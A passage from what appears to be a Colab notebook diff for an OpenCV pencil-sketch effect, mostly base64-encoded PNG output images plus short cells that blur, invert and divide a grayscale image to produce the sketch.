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\n" + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "blurred = cv2.GaussianBlur(inverted_image, (21, 21), 0)" + ], + "metadata": { + "id": "NtqoqC2Ub34s" + }, + "execution_count": 15, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "inverted_blurred = 255 - blurred\n", + "pencil_sketch = cv2.divide(gray_image, inverted_blurred, scale=256.0)\n", + "cv2_imshow(pencil_sketch)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 497 + }, + "id": "Npd2T0LHcEGu", + "outputId": "92acf981-7a50-4274-c3f8-85e31e75f000" + }, + "execution_count": 17, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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